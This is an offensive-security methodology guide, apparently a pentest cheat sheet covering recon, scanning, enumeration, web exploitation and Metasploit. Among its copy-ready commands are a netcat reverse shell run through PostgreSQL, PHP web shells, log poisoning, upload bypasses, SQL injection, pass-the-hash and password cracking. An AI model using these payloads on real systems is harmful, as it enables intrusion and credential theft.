Everything about offensive security, in one place.
Recon to full domain compromise — 12 chapters, 72 topics and 699+ copy-ready commands, kept in the order the kill chain runs. Methodology, OSINT, network and service enumeration, web exploitation, privilege escalation, Active Directory, password attacks, reporting. No fluff.
The skeleton of a professional engagement: scope, test types and phases
What Is a Penetration Test?
A penetration test is the authorized simulation of real-world attack techniques against an organization's systems, networks and web applications, performed to evaluate their security posture. The goal is to discover exploitable weaknesses before a malicious actor does, demonstrate the business impact of those weaknesses with concrete evidence, and produce actionable remediation guidance. Unlike an automated vulnerability scan, an engagement is human-driven: it follows a narrative, adapts to what it finds, and reasons the way an attacker would.
A professional engagement answers three questions: Which weaknesses exist? What damage would they cause in the real world (impact)? And which steps will reduce that risk (remediation)? Keep in mind that the system is what fails, never the test. The quality of an engagement is measured by the depth of its findings and the actionability of its report — not by how many tools were run.
The Golden Rule
Never test without written authorization. Every scan and every attempt performed without a signed document defining scope and rules of engagement constitutes a criminal offense in most jurisdictions.
Test Types: Black, Grey, White Box
Before the engagement begins, the parties agree on how much information the tester receives. This choice directly affects the realism, duration and cost of the test. Choose black box to simulate a real external attacker, grey box to model an insider or an authorized user, and white box for the most comprehensive audit available.
Type
Tester Knowledge
Typical Scenario
Black Box
Only the company name / domain
External attacker simulation; most realistic, most time-consuming
Grey Box
Limited information (e.g. a standard user account)
Authorized user or insider threat scenario
White Box
Full knowledge (source code, architecture, credentials)
Code review + deep testing; the most comprehensive option
By target: infrastructure, web application, mobile application, wireless, social engineering, physical intrusion, cloud (AWS/Azure/GCP) and Active Directory assessments
Red team operations are the broadest simulations — they also measure the detection and response (blue team) capability of the organization
Purple team engagements pair offensive and defensive engineers so that detection rules improve continuously
Methodology Phases (PTES)
The most widely used reference points in the industry are the PTES (Penetration Testing Execution Standard), the OWASP Testing Guide and OSSTMM. Whichever standard you adopt, the workflow below covers the same seven phases:
01
Pre-Engagement & Scoping
Objectives, excluded systems, testing windows, emergency contacts and the legal framework are agreed in writing.
02
Intelligence Gathering (Recon)
Passive and active information is collected: domains, IP ranges, technologies, personnel and leaked credentials.
03
Threat Modeling
The most valuable attack vectors are prioritized based on the intelligence collected and business-critical assets.
04
Vulnerability Analysis
Weaknesses are discovered with both manual and automated techniques; false positives are verified and eliminated.
05
Exploitation
Confirmed vulnerabilities are carefully leveraged to obtain the first foothold, with evidence captured at each step.
06
Post-Exploitation
Privilege escalation, lateral movement and access to sensitive data measure the true depth of the impact.
07
Reporting & Cleanup
Findings are documented with risk ratings; every artifact created during the test (users, files, backdoors) is removed.
Scope and Legal Framework
The scope document must explicitly define IP ranges, domains and the testing window including the time zone
Prepare an emergency communication plan and an on-call contact list for side effects such as an outage caused by load testing
Third-party services (CDNs, cloud providers, SaaS) may require provider approval; request WAF allowlisting in advance
Findings and captured data must be shared over encrypted channels, and the retention period defined in the contract
Close the engagement with a cleanup certificate: a documented list of every account and file created during testing
Legal Notice
Unauthorized access to computer systems is a criminal offense in nearly every jurisdiction (e.g. the Computer Fraud and Abuse Act in the US, the Computer Misuse Act in the UK). Always obtain written authorization and keep the engagement strictly within its documented boundaries.
02
Reconnaissance & OSINT
Map the attack surface: subdomains, personnel, leaked data and exposed devices
OSINT: Open Source Intelligenceweb
OSINT (Open Source Intelligence) is the discipline of collecting information about a target from publicly available sources. Passive OSINT never touches the target directly — search engines, certificate transparency logs, breach databases and social media are used, leaving no trace on the target. Active reconnaissance does touch the target through DNS queries and port scans, and leaves entries in logs. Skilled testers dedicate roughly a third of the engagement to reconnaissance: the better the map, the easier the entry.
Core data to collect: domains and subdomains, IP ranges and ASNs, technology stacks, e-mail formats, employee names and roles
Leaked data: breached credentials via Have I Been Pwned and similar services; API keys and secrets committed to GitHub/GitLab repositories
Document metadata: author names, software versions and intranet hostnames embedded in PDF and Office files (extract with exiftool)
Google Dorkingweb
Search engine operators can expose sensitive files, admin panels and internal documents that were indexed without the target's knowledge. Combine the following patterns with your target domain:
Dork
What It Finds
site:target.com inurl:admin
Admin panels and login portals
site:target.com filetype:pdf
Internal documents, diagrams, forms
site:target.com filetype:xls inurl:pass
Spreadsheets that may contain passwords
intitle:"index of" site:target.com
Open directory listings
inurl:wp-config -site:wordpress.org
Exposed configuration files
site:github.com "target.com" password
Credentials leaked into repositories
# Open directory search
intitle:"index of" "parent directory" site:target.com
# Sensitive extensions sweep
site:target.com (filetype:sql OR filetype:bak OR filetype:env)
# URLs that carry session identifiers
site:target.com inurl:token OR inurl:sessionid
Validate Before Reporting
Dork results often come from stale caches. Verify every finding against the live system before it goes into the report, and capture screenshot evidence at the time of verification.
Subdomain Discoveryweb
Subdomains are the map of the attack surface: a forgotten test server, an old staging environment or a misconfigured SaaS integration is often the easiest way in. Discovery happens in three layers — passive sources, certificate transparency, and active validation.
Subdomain takeover: check orphaned CNAME records with subjack or the can-i-take-over-xyz reference list
WAF detection: identify which WAF protects each target with wafw00f
Virtual host discovery: probe alternate Host headers with gobuster vhost mode or ffuf
Email and Personnel Intelligenceweb
Personnel data is the fuel of social engineering scenarios and authentication attacks. Identifying the corporate email format (e.g. [email protected]) lets you generate valid username lists, which feed password spraying campaigns and phishing simulations.
# theHarvester — multi-source sweep
theHarvester -d target.com -b all -l 500
# hunter.io — corporate email format and distribution
# Note the dominant pattern ([email protected]) and confidence scores
# LinkedIn — role distribution and department mapping
# HR, finance and support teams are "high value" targets for social engineering
# Breached credential check
# Query corporate addresses via the Have I Been Pwned domain API
Device Discovery with Shodan & Censysweb
Shodan and Censys are databases of internet-facing devices and services that have already been scanned for you. Searching the target organization on these platforms before running a single port scan saves hours and counts as passive reconnaissance. It provides a quick inventory of VPN portals, RDP endpoints, databases and IoT devices.
Filter
Description
Example
org:
Devices belonging to an organization
org:"Target Corp"
hostname:
Hostname match
hostname:target.com
port:
Specific open port
port:3389
http.title:
Page title
http.title:"login"
product:
Detected technology
product:"Apache httpd"
ssl:
Certificate domain
ssl:"target.com"
# Open RDP services for the organization
org:"Target Corp" port:"3389" country:"US"
# VNC devices with live screenshots
hostname:"target.com" product:"VNC" has_screenshot:true
# Programmatic queries via the CLI
shodan search 'org:"Target Corp"' --fields ip_str,port,product > inventory.txt
Quick Win
The has_screenshot:true filter returns live screenshots of RDP/VNC sessions — unattended administrative sessions surface within minutes.
03
Network Scanning & Enumeration
Discovery with Nmap, service enumeration and targeted deep analysis
Critical Ports and Servicesnetwork
A network scan produces the numeric inventory of the attack surface. TCP SYN scanning is fast and rarely logged by legacy firewalls; UDP scanning is slow but the only way to surface SNMP and DNS properly. The table below summarizes the ports you will encounter most often during engagements and why they matter.
Port
Service
Pentest Relevance
21
FTP
Anonymous login, legacy version flaws
22
SSH
Weak credentials, user enumeration
25 / 465 / 587
SMTP
User enumeration, open relay
53
DNS
Zone transfer (AXFR), version disclosure
80 / 443
HTTP/S
Primary attack surface; web applications
88
Kerberos
Critical in AD: AS-REP roasting and more
135 / 445
RPC / SMB
Null sessions, EternalBlue, psexec
1433 / 3306
MSSQL / MySQL
Default credentials, xp_cmdshell
161 / 162
SNMP
Community string "public", system inventory
389 / 636
LDAP
Active Directory enumeration
3389
RDP
Brute force, BlueKeep, NLA bypass
5985 / 5986
WinRM
Remote management shell (PowerShell)
Nmap Fundamentalsnetwork
Nmap is the Swiss army knife of network discovery. Always start with a broad sweep and narrow down as findings emerge, and record results with -oA so the report has a traceable evidence trail. When the time budget allows, scan all ports with -p- — rare but critical services (e.g. Redis on 6379) frequently escape a top-1000 scan.
# Fast top-1000 port scan
nmap target.com
# Full range + service/version detection (the classic combo)
nmap -sS -sV -p- -T4 -oA full_scan target.com
# Deep scan with default scripts
nmap -sC -sV -oA scripted_scan target.com
# Vulnerability-focused quick check
nmap --script vuln -p 80,443,445 target.com
Flag
Purpose
-sS
SYN half-open scan (stealthy, requires root)
-sT
Full connect scan (no root required)
-sU
UDP scan — critical for SNMP/DNS/NTP
-sV
Service version detection
-sC
Default NSE script set
-O
Operating system detection
-p-
All 65535 ports
-oA
Save output in all formats (nmap/gnmap/xml)
-T0..T5
Timing template: 0 paranoid → 5 insane
Advanced Nmap Techniquesnetwork
The Nmap Scripting Engine (NSE) lets you tailor scans to the target. Service-specific scripts, vulnerability checks and discovery routines become part of the scan itself. Avoid DoS-capable scripts in production, and always read what a script does before executing it.
-T5 runs so fast that it can miss results. Use -T3 or -T4 for reliable output; drop slow UDP scans into the background and continue other work while they run.
The OSCP Scanning Flownetwork
Under exam and time pressure you need three commands, not thirty: a fast full-port TCP sweep, a top-ports UDP sweep, and a targeted deep scan of only the ports that answered. The one-liners below also print the open port list on completion, so nothing gets lost scrolling through output. If a hostname fails to resolve, fix /etc/hosts first.
# 1) All TCP ports, fast, output ports inline
nmap --open -sS $IP -p- --min-rate 5000 -Pn -n -oN nmap_tcp.txt; \
echo -e "
[+] TCP PORTS: $(grep -E '^[0-9]+/' nmap_tcp.txt \
| cut -d/ -f1 | tr '
' ',' | sed 's/,$//')"
# 2) Top UDP ports (run it in the background, it is slow)
nmap --open -sU --top-ports 100 $IP --min-rate 2000 -Pn -n -oN nmap_udp.txt; \
echo -e "
[+] UDP PORTS: $(grep -E '^[0-9]+/' nmap_udp.txt \
| cut -d/ -f1 | tr '
' ',' | sed 's/,$//')"
# 3) Deep scan of the discovered ports only
nmap -sC -sV -Pn -n -p 53,80,88,135,139,389,445,1433,3389 $IP \
-oN nmap_deep.txt
# Map a hostname to its IP when DNS is unreachable
sudo echo '192.168.229.224 test.com' | sudo tee -a /etc/hosts
# Ping sweep a range
nmap -sn 10.10.10.1-253
nmap -v -sn 10.10.10.1-253 -oG ping-sweep.txt
# Pure-bash host sweep (no tools, works through tunnels)
for i in $(seq 1 255); do \
ping -c 1 192.168.110.$i &>/dev/null && echo 192.168.110.$i; done
# If ping is blocked, scan without the discovery phase
nmap -Pn -n --open -sS $IP -p-
Verify Connectivity Early
Before blaming the scan, verify the path: ping the target and watch your own interface with sudo tcpdump -i eth0 icmp. A silent one-liner that saves an hour of misdiagnosis.
Service Enumerationnetwork
Enumeration is worth more than scanning: an open port tells you a service exists, while enumeration tells you what that service leaks. For every discovered service, work through user lists, shares, versions and anonymous access controls one by one. The command sets below cover the most common services.
enum4linux -a 10.10.10.5
smbclient -L //10.10.10.5 -N # anonymous share listing
crackmapexec smb 10.10.10.5 --shares -u '' -p ''
smbclient //10.10.10.5/common -N # connect to a share
# SNMP — try common community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.10.10.5
snmpwalk -c public -v2c 10.10.10.5 NET-SNMP-EXTEND-MIB::nsExtendObjects
# LDAP — Active Directory users
ldapsearch -x -H ldap://10.10.10.5 -b "dc=target,dc=local" \
"(objectClass=user)" sAMAccountName memberOf
# SMTP user enumeration
nmap --script smtp-enum-users -p25 10.10.10.5
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.5
# DNS zone transfer
dig axfr @ns1.target.com target.com
dnsrecon -d target.com -t axfr
Note-Taking Discipline
Save the output of every command with its timestamp (pipe through tee). The report is built from these files — details written from memory are always incomplete.
Service Playbook: FTP, SSH, Finger and IMAPnetwork
Every service has its own enumeration ritual. FTP starts with anonymous access and ends in mirroring the whole tree; SSH starts with default credentials and ends in stolen key files; the older services (finger on 79, IMAP on 143) quietly leak user lists and mailbox contents. The patterns below turn each open port into structured data.
# Anonymous access
ftp 10.10.10.5
# user: anonymous or ftp — password: anything (or empty)
# Inside the FTP shell
ls
type binary
prompt off # stop asking per file
recurse on # include subdirectories
mget * # download everything
# Mirror the whole tree from the command line
wget -m ftp://anonymous:[email protected]# Brute force with Hydra
hydra -L ftp_users.txt -P /usr/share/wordlists/rockyou.txt \
-e nsr -f ftp://10.10.10.5
# If commands stall — toggle passive mode
passive
# Connect on a non-standard port
ssh [email protected] -p 2222
# Legacy key exchange with old servers
ssh -oHostKeyAlgorithms=+ssh-rsa \
-oPubkeyAcceptedAlgorithms=+ssh-rsa [email protected]# Key-based access
chmod 600 id_rsa
ssh -i id_rsa [email protected]# Crack a stolen key
ssh2john id_rsa > key.hash
john key.hash -w=/usr/share/wordlists/rockyou.txt
# Brute force
hydra -l george -P /usr/share/wordlists/rockyou.txt \
-s 2222 ssh://10.10.10.5
# Force a proper TTY
ssh [email protected] -t bash
# finger — user enumeration on legacy hosts
finger @10.10.10.5 # who is logged on
finger [email protected] # query a specific user
# Enumerate usernames blindly
./finger-user-enum.pl \
-U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.5
# IMAP — read mailboxes over netcat
nc 10.10.10.5 143
a1 LOGIN jonas@localhost SicMundusCreatusEst
a2 LIST "" "*"
a3 EXAMINE INBOX
a4 FETCH 1:* (RFC822)
Windows Services: SMB, RPC and LDAP Deep Divewindows
SMB, RPC and LDAP together expose the entire Windows identity layer — shares, users, groups, policies and the Active Directory schema. The order of operations matters: test null sessions first, enumerate with credentials second, and finish with targeted LDAP queries for password hunting. NetExec (nxc, the maintained CrackMapExec fork) is the modern backbone of all three steps.
# List shares anonymously and with credentials
nxc smb 10.10.10.5 -u '' -p '' --shares
smbclient -L //10.10.10.5 -N
smbmap -H 10.10.10.5 -u burak -p 'Password1' -R # recursive + rights
# Connect to a share
smbclient //10.10.10.5/share -U burak
smbclient //10.10.10.5/share -U 'burak%Password1' # inline credentials
smbclient //10.10.10.5/share -U 'burak%Password1' -W CORP
# Pass-the-Hash straight into a share
smbclient //10.10.10.5/share -U Administrator --pw-nt-hash <NTHASH>
# Legacy servers that require NT1
smbclient //10.10.10.5/share -N --option='client min protocol=NT1'
# One-off command without entering the shell
smbclient //10.10.10.5/share -N -c 'ls; get flag.txt'
# Batch download inside a share
prompt off
recurse on
mget *
# Connect anonymously
rpcclient -U "" -N 10.10.10.5
rpcclient -U '%' 10.10.10.5
# Inside the session
srvinfo # target system info
enumdomusers # all domain users
enumdomgroups # all domain groups
queryuser 0x1f4 # details of a user by RID
querygroup 0x201 # members of a group
getdompwinfo # password policy
getdcname # domain controller
netshareenum # shares
lookupsids S-1-5-21-... # SID -> name
SNMP with a readable community string is a data firehose: process lists, installed software, network interfaces, open ports and even user accounts on Windows. The community string is the only credential — brute force it, then walk the MIB tree systematically instead of dumping it raw.
# Try the classic public, then brute force
snmpwalk -c public -v2c 10.10.10.5
snmp-check 10.10.10.5
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
snmp://10.10.10.5
OID
Reveals
1.3.6.1.2.1.25.4.2.1.2
Running programs with arguments
1.3.6.1.2.1.25.4.2.1.4
Process execution paths
1.3.6.1.2.1.25.6.3.1.2
Installed software
1.3.6.1.4.1.77.1.2.25
Windows user accounts
1.3.6.1.2.1.6.13.1.3
Locally open TCP ports
1.3.6.1.2.1.25.1.6.0
System processes count
1.3.6.1.2.1.25.2.3.1.4
Storage units
# Windows users
snmpwalk -c public -v1 10.10.10.5 1.3.6.1.4.1.77.1.2.25
# Running processes — credentials hide in command lines
snmpwalk -c public -v1 10.10.10.5 1.3.6.1.2.1.25.4.2.1.2
# Extended scripts (RCE-prone configurations)
snmpwalk -c public -v1 10.10.10.5 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
Database Connections and Enumerationnetwork
Database services accept credential reuse more often than they should — and once inside, the data itself (users, passwords, configuration tables) and the execution features (xp_cmdshell, COPY FROM PROGRAM) escalate the foothold. Learn the four connection strings by heart; they unlock every default-port scenario.
# MySQL (3306)
mysql -h 10.10.10.5 -u root -p
mysqldump Magic -u magic -p # dump one database
# PostgreSQL (5432)
psql -h 10.10.10.5 -U postgres -d template1
\list # databases
\c postgres # switch DB
\d table_name # columns
# RCE from inside PostgreSQL
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
COPY cmd_exec FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.5 443 >/tmp/f';
# MongoDB (27017)
mongo "mongodb://mark:[email protected]:27017/scheduler?authSource=admin"
show dbs
use scheduler
show collections
db.users.find().pretty()
# Windows authentication
impacket-mssqlclient 'corp.local/burak':'Password1'@10.10.10.5 -windows-auth
# Pass-the-Hash when you lack the password
impacket-mssqlclient corp.local/[email protected] \
-windows-auth -hashes :<NTHASH>
# Inside the session
SQL> SELECT is_srvrolemember('sysadmin'); # 1 = you own the server
SQL> EXECUTE AS LOGIN = 'sa';
# Enable command execution
SQL> EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXECUTE xp_cmdshell 'whoami';
Pivot Every Credential
Every password or hash harvested from a database belongs to the same credential-reuse sweep as any other: validate it with nxc against the whole subnet before moving on.
Port Knockingnetwork
Port knocking hides services behind a secret knock sequence: the firewall opens a port only after the right ports are touched in the right order. Find the sequence in knockd.conf (or via enumeration), replay it, then rescan — services that were closed a moment ago suddenly answer.
# If you found the config: openSSH ports sequence 571, 290, 911
for x in 571 290 911; do \
nmap -Pn --max-retries 0 -p $x 10.10.10.43 && sleep 1; done
# Rescan — previously closed ports now appear
nmap 10.10.10.43
# 22/tcp open ssh
# Connect
ssh -i id_rsa [email protected]
Config files worth checking after compromise: knockd.conf, /etc/knockd.conf
If nmap knocks fail, the daemon may expect UDP instead of TCP — replay the sequence with -sU per port
Watch for hints in web pages and source comments: knock sequences are often documented near the service they protect
04
Web Application Pentesting
OWASP Top 10, injection attacks, XSS and a professional Burp Suite workflow
Web Testing Workflowweb
A disciplined workflow ensures no area of the application is left untested. Throwing payloads before understanding what the application does is the most common and most expensive mistake. Learn the behavior first, then challenge your assumptions systematically.
01
Fingerprinting
Identify the technology stack, framework versions, WAF presence and language runtime.
02
Content Discovery
Enumerate directories, files, parameters, API endpoints and leftover code in HTML comments.
03
Authentication
Test weak password policies, user enumeration, brute-force protection and password reset flows.
Exercise the injection family: SQL/NoSQL injection, XSS, command injection, LFI/RFI and XXE.
06
Access Control
Horizontal and vertical privilege escalation plus IDOR: access other users' data with different identities.
07
Client-Side
Review DOM XSS, CORS misconfiguration, CSRF and postMessage listeners.
Fingerprinting and Content Discoveryweb
# Technology identification
whatweb -a 3 https://target.com
# On the browser side: the Wappalyzer extension
# Directory and file brute force
gobuster dir -u https://target.com \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 50 -x php,html,bak,txt -o dirs.txt
# Content discovery with ffuf + size filtering
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301 -fs 0
# Hidden parameter discovery
arjun -u https://target.com/api/endpoint
# Extract endpoints from JS files
katana -u https://target.com -d 3 -jc | grep -oP 'https?://[^"]+'
Always manually review robots.txt, sitemap.xml and .well-known paths
Mine the Wayback Machine for URLs that once existed but are no longer linked
Stack traces in error pages disclose framework versions and directory structures
Run known-vulnerability templates with nuclei: nuclei -u https://target.com -t nuclei-templates/ -severity critical,high
Directory and Content Fuzzingweb
Content discovery is where most engagements find their way in: forgotten admin panels, backup archives, source control folders and exposed configuration files. The workflow is always the same — pick the right wordlist, add technology-specific extensions, filter out noise status codes, and let recursion dig into what it finds. Fuzz every discovered path again, not just the root.
# Directory brute force with extensions
gobuster dir -u https://target.com -w directory-list-2.3-medium.txt \
-x php,html,htm -t 30 -o dirs.txt
# Exclude noisy status codes, slow down politely
gobuster dir -u https://target.com -w big.txt -b 403,404,500 -t 3
# File fuzzing with a full extension set
gobuster dir -w directory-list-2.3-medium.txt \
-u https://target.com -k -x php,txt,conf -t 30
# Subdomain discovery
gobuster dns -d target.com \
-w subdomains-top1million-110000.txt
# Parameter fuzzing — replace FUZZ with the candidate name
gobuster fuzz -u "https://target.com?FUZZ=test" -w parameter-names.txt
Custom error pages make every miss return HTTP 200. Sort fuzzer output by response size (-fs in ffuf) — the page that does not match the common length is the interesting one.
OWASP Top 10 (2021)web
The OWASP Top 10 is the industry's reference list of web application vulnerability categories. Mapping your findings to these categories lets stakeholders read your report in a language they already understand, which matters at the management level.
#
Category
Example Attacks
A01
Broken Access Control
IDOR, privilege escalation, forced browsing
A02
Cryptographic Failures
Weak encryption, exposed tokens/secrets
A03
Injection
SQLi, XSS, command injection, LDAPi
A04
Insecure Design
Business logic flaws, step skipping
A05
Security Misconfiguration
Default settings, verbose error messages
A06
Vulnerable Components
Outdated libraries (Log4Shell etc.)
A07
Authentication Failures
Weak passwords, session fixation
A08
Integrity Failures
Insecure deserialization, CI/CD
A09
Logging Failures
Without logs, breaches go undetected
A10
SSRF
Forcing the server to request internal resources
SQL Injectionweb
SQL injection occurs when user input is concatenated into query text, and it remains among the most devastating vulnerabilities. Its four main types are error-based (leaking data through error messages), union-based (appending columns to the result set), boolean-based blind (reading data from page behavior differences) and time-based blind (reading data from delay signals). Find the column count first, then extract the data.
-- Classic login bypass
' OR 1=1 --
admin'--
-- Union-based: find the column count (increase until the error disappears)
' ORDER BY 1--
' ORDER BY 5--
-- Union-based extraction (MySQL)
' UNION SELECT NULL,user(),database()--
' UNION SELECT table_name,column_name FROM information_schema.columns--
-- Time-based blind (MySQL)
' AND SLEEP(5)--
# Simple GET parameter
sqlmap -u "https://target.com/product?id=1" --batch --dbs
# Tables of a specific database
sqlmap -u "..." --tables -D shop
# Use a request captured from Burp (supports POST/cookies)
sqlmap -r request.txt --level 3 --risk 2 --batch
# OS shell (if privileges allow)
sqlmap -r request.txt --os-shell
Never Corrupt the Data
Do not run payloads containing UPDATE, DELETE or DROP against production systems. A pentest collects evidence — corrupting data integrity is a contract breach and a crime.
XSS (Cross-Site Scripting)web
XSS is the execution of attacker-controlled JavaScript in a victim's browser. Reflected XSS arises when the payload is echoed from the request into the response, Stored XSS when the payload is persisted and served to every visitor, and DOM XSS when client-side code (innerHTML, document.write, location.hash) processes input unsafely. The impact ranges from session hijacking to keylogging and full account takeover.
Prefer console.log or a unique reflected marker over alert() — pop-ups alarm users in production
Context matters: HTML body, attribute, JavaScript string and URL contexts each require different encoding to bypass
If a CSP header exists, review which sources are allowed; with inline scripts blocked, change your payload strategy
With HttpOnly cookies you cannot steal the session, but action triggering (CSRF-like impact) remains possible
LFI, SSRF, XXE and Command Injectionweb
The rest of the injection family opens server-side file reads, internal network discovery and remote code execution (RCE). These four are the "high impact" findings that dominate both OSCP curricula and real-world reports.
When responses show no difference, force DNS or HTTP requests to a host you control (Burp Collaborator / interact.sh). An out-of-band channel is the most reliable proof for blind SSRF and XXE.
LFI to RCE: Traversal, Wrappers and Log Poisoningweb
Local File Inclusion starts as a file read and ends, in the best case, as remote code execution. The escalation ladder is fixed: read interesting files first (credentials, keys, configuration), then try PHP wrappers to turn reads into execution, and finally poison a log file the server will execute. Work the ladder in order and note where each rung fails.
# The canonical checks
http://target.com/index.php?page=../../../../etc/passwd
http://target.com/index.php?page=php://filter/resource=admin.php
# Read a private key and use it
http://target.com/index.php?page=../../../../../home/burak/.ssh/id_rsa
kali$ curl "http://target.com/index.php?page=../../../../../home/burak/.ssh/id_rsa" > dt_key
kali$ chmod 400 dt_key
kali$ ssh -i dt_key -p 2222 [email protected]# Encoded traversal (filters that strip ../)
http://target.com/index.php?page=%2e%2e%2f%2e%2e%2fetc/passwd
# Old PHP only — null byte truncation
http://target.com/index.php?page=../../../../etc/passwd%00
../../../../etc/passwd # users and home dirs
../../../../home/user/.ssh/id_rsa # SSH private key
../../../../var/www/html/wp-config.php # WordPress DB credentials
../../../../.env # Laravel secrets, SMTP, DB
../../../../var/log/apache2/access.log # log poisoning target
../../../../usr/share/tomcat9/etc/tomcat-users.xml # Tomcat credentials
# Base64-encode a source file (read code without executing it)
curl "http://target.com/index.php?page=php://filter/convert.base64-encode/resource=admin.php"
# data:// — inline code execution when allow_url_include is on
curl "http://target.com/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
# php://input — POST body as the included file
curl -X POST -d "<?php system($_GET['cmd']); ?>" \
"http://target.com/index.php?page=php://input&cmd=id"
# 1) Inject PHP into a logged header
curl -A "<?php system($_GET['cmd']); ?>" http://target.com/
curl -e "<?php system($_GET['cmd']); ?>" http://target.com/
curl -H "X-Forwarded-For: <?php system($_GET['cmd']); ?>" http://target.com/
# 2) Include the poisoned log and run commands
http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id
# Then swap id for a reverse shell payload and catch it with nc -lvnp 4444
Poisonable Logs
Apache access/error logs and nginx access/error logs are the classics, but vsftpd.log, mail.log and auth.log record attacker-controlled input too. If a log is readable but bloated, wrappers like php://filter help only after injection — the payload must be inside the file first.
File Upload Bypasses and WebDAVweb
Upload functionality is a direct line to code execution — the only question is which filter stands in the way. Extension blacklists fall to alternative extensions and double extensions; content checks fall to magic bytes; and when the server speaks WebDAV, the PUT method skips the application entirely. Map the filter type first, then pick the matching bypass.
# Alternative executable extensions
shell.php5 shell.phtml shell.phar shell.pht
# Double extension — keeps the image check happy
file.png.php myimage.php.png
# Magic bytes — prepend a real image header
GIF87a
<?php system($_REQUEST['cmd']); ?>
# Exif comment injection on a genuine image
exiftool -Comment='<?php system($_REQUEST["cmd"]); ?>' shell.png
mv shell.png shell.php.png
# Then trigger it
http://target.com/uploads/shell.php.png?cmd=id
# Upload an .htaccess that makes ANY extension executable as PHP
echo "AddType application/x-httpd-php .xyz" > .htaccess
# Now upload your web shell as shell.xyz and call it
http://target.com/uploads/shell.xyz?cmd=whoami
# Detect WebDAV support
nmap --script http-webdav-scan -p 80,443 target.com
nmap -p 80 --script http-methods target.com
# Test what can be uploaded
davtest --url http://target.com
# Upload as .txt (allowed), rename to .aspx (blocked directly)
curl -X PUT http://target.com/shell.txt --data-binary @shell.txt
curl -X MOVE --header 'Destination: http://target.com/shell.aspx' \
http://target.com/shell.txt
# Interactive WebDAV client (prompts for credentials)
cadaver http://target.com/
Locate the Upload Folder
Find where uploads land (gobuster with -x on the uploads path, or read the HTML source) before testing execution — a perfectly bypassed shell in a non-executable directory is worth nothing.
Authentication Bypass Patternsweb
Some of the fastest wins in web testing come from logic flaws rather than injection. PHP's loose comparison treats two strings starting with 0e as scientific notation for zero — so two different "magic" hashes compare as equal. When the application compares an MD5 password with ==, any magic-hash password logs you in as anyone.
# Strings whose MD5 starts with 0e — they all "equal" zero in PHP
echo -n 240610708 | md5sum # 0e462097431906509019562988736854
echo -n QNKCDZO | md5sum # 0e830400451993494058024219903391
echo -n aabg7XSs | md5sum # 0e087386482136013740957780965295
# If the stored hash starts with 0e, authenticate with any of them
POST /login -> user=admin&pass=240610708
# The vulnerable pattern behind it
# if (md5($input) == $stored_hash) { login(); }
SQL authentication bypass:' OR 1=1 -- on username with any password — the union of truth
Response tampering: flip success:false to true in client-visible JSON bodies when the server trusts its own flag blindly
State parameter weaknesses: predictable password-reset tokens and unchecked user context in the reset flow
Default credentials: always try admin:admin, and check /usr/share/seclists/Passwords/Default-Credentials before guessing
Burp Suite Best Practicesweb
Proxy: switch quickly with FoxyProxy and trust the Burp CA certificate so HTTPS traffic can be intercepted
Repeater: modify and resend a single request at will — the heart of manual testing
Intruder: Sniper for single parameters, Cluster bomb for multi-parameter attacks; mark payload positions with § markers
Match & Replace: automate header manipulation (e.g. add X-Forwarded-For: 127.0.0.1 to every request)
Comparer & Decoder: decode tokens and diff two responses to make bypass evidence unambiguous
05
Exploitation
From vulnerability to access: Metasploit, msfvenom and reverse shells
Finding and Validating Exploitslinux
Once you have version information, the next step is searching for public exploits. Always read the exploit code before running it: where does it take the target address, what does it modify, and are there side effects (DoS)? Public exploits are frequently misconfigured, and running them blindly can crash the very system you are auditing.
# Local Exploit-DB search (Kali)
searchsploit apache 2.4.49
searchsploit -m 50383.py # copy the exploit to the current directory
searchsploit --nmap scan.xml # match exploits from nmap XML output
# Online sources
# exploit-db.com, GitHub PoCs, PacketStorm, the CISA KEV catalog
# Searching inside Metasploit
msf6 > search type:exploit vsftpd
msf6 > search cve:2021 platform:linux rank:excellent
Metasploit Core Workflowlinux
msfconsole -q
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > show options
msf6 > set RHOSTS 10.10.10.5
msf6 > set LHOST 10.10.14.5 # your listener IP (VPN IP)
msf6 > run
# Once the session opens
meterpreter > getuid
meterpreter > sysinfo
meterpreter > hashdump # Windows hashes
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.9
In a meterpreter session, use migrate to move into another process and shell for a real shell
The multi/handler module catches payloads generated with msfvenom
Preserve sessions: sessions -u <id> to upgrade; plan artifact cleanup at engagement end instead of persistent backdoors
Meterpreter Quick Referencelinux
Meterpreter is Metasploit's in-memory post-exploitation agent — no new process, no new binary, full feature set. Once a session lands, the first four commands are always the same: identify the system, your user, your process, then migrate somewhere stable before the exploited service crashes and takes your shell with it.
Command
What It Does
getuid / getpid
Current user and meterpreter process ID
sysinfo
OS, architecture and domain of the target
ps
Running processes — pick a migration target
migrate <pid>
Move the agent into another process
shell
Drop to a native OS shell
hashdump
Dump local password hashes (Windows)
upload / download
Move files both ways
portfwd
Forward ports through the target
route
Pivot traffic into internal networks
getsystem
Attempt service-level privilege escalation
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps # find a stable host process
meterpreter > migrate 716 # e.g. into a service process
meterpreter > hashdump
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.9
meterpreter > background # keep it, drop to msf console
msf6 > sessions -l # list, reconnect any time
Default msfvenom payloads are heavily signed. In evasion scenarios compile payloads yourself, encrypt them or prefer stageless variants. Written approval is required for AV/EDR testing in production.
Reverse Shell Collectionlinux
A reverse shell makes the target machine connect back to you — the most practical way to bypass firewalls that filter inbound connections. Always keep your listener ready with nc -lvnp <port> and double-check that you are using the correct IP (VPN/jump host).
